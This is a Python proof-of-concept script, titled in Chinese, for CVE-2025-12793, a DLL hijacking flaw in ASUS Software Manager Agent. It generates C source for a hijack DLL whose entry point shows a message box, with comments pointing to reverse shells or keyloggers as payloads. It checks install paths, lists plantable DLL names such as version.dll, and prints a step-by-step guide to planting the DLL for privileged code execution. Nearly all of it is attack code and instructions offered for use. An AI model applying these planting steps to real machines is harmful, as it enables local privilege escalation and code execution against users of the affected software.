CVE-2025-12793: ASUS Software Manager Agent DLL劫持漏洞导致本地权限提升

#!/usr/bin/env python3 """ CVE-2025-12793 PoC - ASUS Software Manager Agent DLL Hijacking This PoC demonstrates DLL hijacking vulnerability in AsusSoftwareManagerAgent """ import os import ctypes import sys from pathlib import Path def create_malicious_dll(dll_path): """ Generate malicious DLL that will be loaded by vulnerable application For educational purposes only - demonstrates DLL loading mechanism """ dll_content = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Vulnerable DLL loaded - attacker code execution point MessageBox(NULL, "CVE-2025-12793: Malicious DLL Loaded!\\nASUS Software Manager Agent DLL Hijacking", "Security Alert", MB_ICONWARNING); // Example: Execute payload (reverse shell, keylogger, etc.) // system("calc.exe"); // For demonstration } return TRUE; } ''' with open(dll_path, 'w') as f: f.write(dll_content) return True def check_vulnerability(): """ Check if ASUS Software Manager Agent is installed and vulnerable """ common_paths = [ r"C:\Program Files\ASUS\Software Manager\AsusSoftwareManagerAgent.exe", r"C:\Program Files (x86)\ASUS\Software Manager\AsusSoftwareManagerAgent.exe", r"C:\Program Files\ASUS\ASUS Software Manager\AsusSoftwareManagerAgent.exe", ] vulnerable_dlls = [ 'version.dll', 'urlmon.dll', 'winhttp.dll', 'shlwapi.dll', 'crypt32.dll', 'secur32.dll' ] print("[*] Checking for CVE-2025-12793 vulnerability...") print("[*] Searching for AsusSoftwareManagerAgent...") for path in common_paths: if os.path.exists(path): print(f"[+] Found: {path}") print(f"[!] System may be vulnerable to DLL hijacking") print(f"[*] Vulnerable DLL names that can be planted:") for dll in vulnerable_dlls: print(f" - {dll}") return True print("[-] AsusSoftwareManagerAgent not found") return False def exploit(): """ Exploitation steps for demonstration """ print("=" * 60) print("CVE-2025-12793 Exploitation Guide") print("=" * 60) print(""" 1. Plant malicious DLL in application directory or accessible path 2. Common vulnerable DLLs: version.dll, urlmon.dll, winhttp.dll 3. Wait for user to launch AsusSoftwareManagerAgent or trigger related action 4. Malicious DLL is loaded and attacker code executes 5. Attacker gains code execution with application's privileges Example attack scenario: - Attacker places 'version.dll' in C:\\Program Files\\ASUS\\Software Manager\\ - When application starts, it loads version.dll from current directory - Malicious code in DLL executes with high privileges """) if __name__ == "__main__": check_vulnerability() exploit()